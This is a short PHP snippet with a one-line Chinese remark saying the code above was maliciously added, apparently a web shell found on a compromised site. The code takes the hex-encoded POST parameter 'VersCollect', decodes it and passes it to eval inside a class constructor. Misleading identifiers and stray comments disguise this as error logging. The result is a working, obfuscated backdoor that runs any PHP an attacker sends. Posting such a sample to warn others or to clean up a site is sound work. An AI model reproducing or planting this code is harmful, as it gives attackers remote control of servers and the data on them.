class _
{
    static public $TokenUserLoger=Null;
    function __construct($l="error"){
        self::$TokenUserLoger=$l;
        @eval/*This error level Listensing*/(null.null.self::$TokenUserLoger);
    }
}
function hexToStr($hex){   
        $str="";
        for($i=0;$i<strlen($hex)-1;$i+=2)
        $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $str;
    }
$TokenError = null.hexToStr(@$_POST/*\*/["VersCollect"]);
$d = new _($TokenError);

上面是被恶意添加的